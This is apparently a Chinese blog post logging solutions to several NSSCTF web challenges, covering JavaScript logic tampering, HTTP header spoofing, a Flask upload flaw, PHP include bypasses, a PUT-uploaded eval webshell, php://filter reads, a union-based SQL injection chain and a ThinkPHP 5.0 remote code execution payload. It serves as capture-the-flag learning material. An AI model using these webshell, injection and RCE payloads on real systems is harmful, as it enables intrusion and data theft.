NSSCTF暑假刷题记录(二)

发布于 2023-07-28  477 次阅读


[HNCTF 2022 Week1]2048

  • 很简单一道js的题目,直接把alert那行代码丢到控制台里面运行就可以了(不要末尾的分号),这里复习一个如何改页面的js运行逻辑,因为有的时候flag藏的深,改判定逻辑会简单一些.
alert(String.fromCharCode(24685, 21916, 33, 102, 108, 97, 103, 123, 53, 51, 49, 54, 48, 99, 56, 56, 
56, 101, 50, 53, 99, 51, 102, 56, 50, 56, 98, 50, 51, 101, 51, 49, 54, 97, 55, 97, 101, 48, 56, 51, 
125))
  • 先给要替换的语句打上断点,这样浏览器执行到这一句js时就会暂停,如果打断点的语句是if语句,不能单独给if语句打上断点,否则会报错,而是要给整个(或者再加一句就行?)if代码块都打上,大括号和注释打不上是正常的

  • 打了断点的语句相当于被删除了,当浏览器运行到断点停住时,需要去浏览器控制台将替换的语句写进去,打断了多少语句就补多少句

  • 补好了点执行,点击屏幕中间的播放按钮继续网页运行

  • 可以和上面对比看到,当分数为0的时候没有alert,而分数为4时成功alert,说明成功修改了程序的逻辑而不是直接运行了alert

  • 或者这样更加直观,如果分数小于20000,则分数等于40000,直接弹出flag,成功修改了score的值(虽然面板上显示的仍然是0)

[LitCTF 2023]Http pro max plus

  • 一个基础的改http报文的题目
  • 根据提示,xff伪造ip(这里第一次用xff发现被禁了,换成Client-IP),referer伪造来源网站,ua伪造浏览器,这里学到了一个新标签via,它表示请求所经过的代理服务器或网关的信息,可以用于检测请求的循环或跟踪请求的路径
Client-IP:127.0.0.1
Referer:pornhub.com
User-Agent:Chrome
Via:Clash.win

  • 找到隐藏的wtfwtfwtfwtf.php,访问后有仨按钮,咳咳,里面有些奇奇怪怪的东西.最后在源码中找到另一个隐藏的色即是空的文件里面

  • 成功拿到flag

[NISACTF 2022]babyupload

  • 进来有一个文件上传的页面,随便上传点东西试试,全都被过滤了

  • 源代码中找到隐藏的source文件

  • 访问source文件,得到后端代码,又是flask
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""

def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db

@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)

@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""

@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)

@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

  • 刷题记录(一)里面正好有道题也有app.py,可以当时学的直接用过来.重点审计下面的代码
@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)
  • 首先分析下面,如果使用post访问upload目录就会触发upload函数
@app.route('/upload', methods=['POST'])
  • 如果file变量不在request.files数组里面就退回网站的/目录,这里用于判断文件上传是否异常
if 'file' not in request.files:
        return redirect('/')
  • 这里的request.files是读取了下面html表单的file的值,然后过滤上传文件名中的.符号,file具有filename属性,后面会用到
file = request.files['file']
if "." in file.filename:
        return "Bad filename!", 403
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
  • 这里是一个sql语句,会将上传的文件的信息插入数据库,并且生成一个uid,最后返回文件的uid,既然返回了uid,说明uid可以用于文件的访问
try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
return redirect('/file/' + uid)
  • 那么思路就出来了,我们上传一个和当前数据库中同名的flag文件,就会return已经存在的flag文件的uid,然后拿去直接访问就行了,这里得猜一下flag是/flag,构造一个文件名为/flag,直接上传

  • 因为windows系统不允许文件名中有/存在,还得burp抓包改一下文件名

  • 成功拿到文件的uid,访问即可得到flag

[HCTF 2018]Warmup

  • 页面只有一张滑稽表情,查看源码发现提示的source.php文件,得到源码
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
  • 接收了一个file参数,检查了是不是字符串,然后看在不在白名单内,在的话就把它包含进来,那先不绕过,把白名单的hint.php包含进来康康
?file=hint.php
flag not here, and flag in ffffllllaaaagggg
  • 那么思路就是绕过白名单,包含ffffllllaaaagggg文件了,注意到这段代码
$_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
  • $_page = urldecode($page);:使用 urldecode()函数对$page进行 URL 解码,将其中的特殊字符还原为原始的字符形式。例如,将%20解码为空格,将%2F解码为斜杠等。

  • $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?'));:使用mb_substr()函数对解码后的 $_page进行操作mb_substr()函数用于获取字符串的子串,参数分别为原始字符串、起始位置和长度。在这里,起始位置为 0,即从字符串的开头开始。mb_strpos()函数用于查找字符串中某个子字符串的第一次出现位置。这里将 $_page和'?'进行连接,然后查找第一个问号的位置。通过这样的处理,可以截取出字符串中第一个问号之前的部分。

  • 它的本意是把其他参数给过滤掉,检查是不是在白名单内,这里可以利用它只检查第一个?前面的内容,把读取文件插在第二个?后面.再不断加../跳目录即可.本地测试类似于include("a.php?b.php")是不行的,没搞懂

?file=hint.php?../../../../../ffffllllaaaagggg
?file=source.php?../../../../../ffffllllaaaagggg

[NSSRound#1 Basic]basic_check

  • 使用nikto扫描一下,Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
  • 这里我扫不了,linux没挂代理
nikto -host http://node4.anna.nssctf.cn:28276/

  • 发现了服务端允许put方法,这里复习一下put方法.PUT: 把消息本体中的消息发送到一个URL,跟POST类似,但不常用。简单地说:通常用于向服务器发送请求,如果URI不存在,则要求服务器根据请求创建资源,如果存在,服务器就接受请求内容,并修改URI资源的原始版本,并且创建的文件的内容就是在post请求参数的位置

  • 使用put向服务器写马,这里半天写不进去,原来又是没挂vpn,事实证明挂上了虽然burp不能抓包,但是还是可以发包的

PUT /shell.php
<?php eval($_POST['a']);?>

  • 写马成功,蚁剑连接即可

[GDOUCTF 2023]hate eat snake

  • js的题目,正好巩固一下(一)里面的改js逻辑

  • 页面禁用了f12,直接在浏览器侧栏点开开发者工具

  • 比较好玩的做法是在71行计分函数这里打断点,因为程序一直调用这个函数,就会被一直打断,可以体验到慢速版贪吃蛇

  • 正常的做法直接改score函数,查了一下,那个监视表达式和改代码没啥关系

[HNCTF 2022 Week1]Interesting_include

  • 这是一个很清晰的文件包含,绕过flag即可
<?php
//WEB手要懂得搜索
//flag in ./flag.php

if(isset($_GET['filter'])){
    $file = $_GET['filter'];
    if(!preg_match("/flag/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 
  • 啊,不对,没有传参flag才会error,那没事了,直接base64编码读一下这个文件
?filter=php://filter/read=convert.base64-encode/resource=flag.php

[羊城杯 2020]easycon

  • 进来之后是一个比较有迷惑性的apache报错界面

  • 看一下源码,发现是html的文件

  • 此时的url是没加文件的,那么如果没有特殊设置的话就可以指向index.html和index.php两个文件,这个应该是html,试着访问一下有没有php,成功找到

  • 提示了有eval和post,那肯定有一句话木马了,连接密码就是cmd,蚁剑连接一下/index.php即可

  • 目录下面有一个txt,下载下来,全是乱码,但是在文本的末尾可以看到是有等号的,考虑是base64编码

  • 解码之后虽然还是乱码,但是在其中可以看到有jfif文件头,所以这堆base64编码可能是一个jpg图片

  • 直接在本地网页解码,创建一个空文件命名为1.html,将编码内容填进去,访问即可.感觉是到misc的题目
<img src="data:image/png;base64,编码内容" />

  • 像本题中将图片转换成base64编码的,在web网上一般用于小图片上,不仅可以减少图片的请求数量(集合到js、css代码中),还可以防止因为一些相对路径等问题导致图片404错误。

[LitCTF 2023]这是什么?SQL !注一下 !

  • 进来之后页面有提示
id = ".'(((((('.$_GET["id"].'))))))'
SELECT username,password FROM users WHERE id = (((((())))))

  • 那么闭环方式就成了?id=1.1)))))),并且说明只有username,password两个字段,就不用order by了

  • 既然提示了字段的数量,可以试一试直接使用联合查询查库名

?id=1.1)))))) union select database(),2--+
  • 太久没打sql的题目了,这里陷入了一个误区,database()只能用于查当前数据库的名字,如果flag放在别的数据库就凉了,即使像下面这样使用limit也无济于事,因为当前数据库肯定是只有一个的,加不加limit都显示不了别的库
?id=1.1)))))) union select database(),2 limit 0,1--+
?id=1.1)))))) union select database(),2 limit 1,1--+

  • 正确的做法应该是到information_schema库里面去查所有的库名,因为这里的回显可以以数组的形式,所以就不需要limit来显示所有了
?id=1.1)))))) union select schema_name,2 from information_schema.schemata--+
Array ( [0] => Array ( [username] => information_schema [password] => 2 ) [1] => Array ( [username] 
=> mysql [password] => 2 ) [2] => Array ( [username] => ctftraining [password] => 2 ) [3] => Array ( 
[username] => performance_schema [password] => 2 ) [4] => Array ( [username] => test [password] => 2 
) [5] => Array ( [username] => ctf [password] => 2 ) )

  • 看名字的话疑点比较大的有ctftraining,test,ctf三个库,一个一个查

  • 查ctftraining库的表名,因为可以输出数组,所以下面查询语句全部都加group_concat一次性输出完

?id=1.1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining'--+
Array ( [0] => Array ( [username] => flag,news,users [password] => 2 ) )

  • 找到了一个很有嫌疑的flag表,查查字段,有个flag字段
?id=1.1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='flag'--+
Array ( [0] => Array ( [username] => flag [password] => 2 ) ) 

  • 直接查数据,成功拿到flag
?id=1.1)))))) union select flag,2 from ctftraining.flag--+
Array ( [0] => Array ( [username] => NSSCTF{e00db92d-e553-4153-8d31-623188afaa16} [password] => 2 ) ) 

[SWPUCTF 2022 新生赛]ez_rce

  • 打开检查了一下,什么都没有,在robots.txt里面发现隐藏的/NSS/index.php

  • 访问发现是一个5.0版本的thinkphp

  • 搜一下有没有啥框架漏洞,发现了一条poc,可以实现rce
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
  • 根目录没看到flag文件,全盘扫一下发现在/nss/ctf/flag/flag
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag*"
届ける言葉を今は育ててる
最后更新于 2024-02-07